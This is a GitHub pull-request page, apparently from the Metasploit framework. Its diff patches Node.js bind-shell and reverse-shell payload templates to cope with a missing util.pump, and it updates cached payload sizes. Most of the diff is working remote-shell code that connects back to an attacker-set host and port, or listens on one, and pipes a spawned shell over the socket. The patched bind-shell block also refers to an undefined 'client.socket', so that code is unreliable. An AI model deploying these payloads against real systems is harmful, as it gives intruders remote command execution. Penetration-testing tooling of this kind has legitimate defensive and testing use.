Skip to content

Handle missing util.pump in nodejs shell payloads #8825

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 2 commits into from
Sep 11, 2017
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
18 changes: 14 additions & 4 deletions lib/msf/core/payload/nodejs.rb
Original file line number Diff line number Diff line change
Expand Up @@ -18,8 +18,13 @@ def nodejs_bind_tcp
var server = net.createServer(function(socket) {
var sh = cp.spawn(cmd, []);
socket.pipe(sh.stdin);
util.pump(sh.stdout, socket);
util.pump(sh.stderr, socket);
if (typeof util.pump === "undefined") {
sh.stdout.pipe(client.socket);
sh.stderr.pipe(client.socket);
} else {
util.pump(sh.stdout, client.socket);
util.pump(sh.stderr, client.socket);
}
});
server.listen(#{datastore['LPORT']});
})();
Expand Down Expand Up @@ -53,8 +58,13 @@ def nodejs_reverse_tcp(opts={})
var client = this;
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
client.socket.pipe(sh.stdin);
util.pump(sh.stdout, client.socket);
util.pump(sh.stderr, client.socket);
if (typeof util.pump === "undefined") {
sh.stdout.pipe(client.socket);
sh.stderr.pipe(client.socket);
} else {
util.pump(sh.stdout, client.socket);
util.pump(sh.stderr, client.socket);
}
});
})();
EOS
Expand Down
2 changes: 1 addition & 1 deletion modules/payloads/singles/cmd/unix/bind_nodejs.rb
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@

module MetasploitModule

CachedSize = 1843
CachedSize = 2351

include Msf::Payload::Single
include Msf::Payload::NodeJS
Expand Down
2 changes: 1 addition & 1 deletion modules/payloads/singles/cmd/unix/reverse_nodejs.rb
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@

module MetasploitModule

CachedSize = 1971
CachedSize = 2423

include Msf::Payload::Single
include Msf::Payload::NodeJS
Expand Down
2 changes: 1 addition & 1 deletion modules/payloads/singles/nodejs/shell_bind_tcp.rb
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@

module MetasploitModule

CachedSize = 456
CachedSize = 583

include Msf::Payload::Single
include Msf::Payload::NodeJS
Expand Down
2 changes: 1 addition & 1 deletion modules/payloads/singles/nodejs/shell_reverse_tcp.rb
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@

module MetasploitModule

CachedSize = 488
CachedSize = 601

include Msf::Payload::Single
include Msf::Payload::NodeJS
Expand Down
2 changes: 1 addition & 1 deletion modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@

module MetasploitModule

CachedSize = 516
CachedSize = 629

include Msf::Payload::Single
include Msf::Payload::NodeJS
Expand Down